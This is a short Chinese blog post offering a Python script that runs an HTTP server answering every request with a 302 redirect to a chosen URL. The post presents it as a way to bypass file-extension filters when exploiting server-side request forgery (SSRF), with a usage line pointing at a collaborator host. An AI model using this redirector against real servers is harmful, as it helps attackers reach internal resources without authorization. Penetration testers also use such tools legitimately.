一个支持302跳转的py脚本
前言:遇到存在后缀名限制的ssrf的时候,可以通过下面的302跳转来实现绕过
# coding=utf-8
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
def send_error(self, code, message=None):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
# python3 302redirect.py port "http://mycollaboratorurl/"

浙公网安备 33010602011771号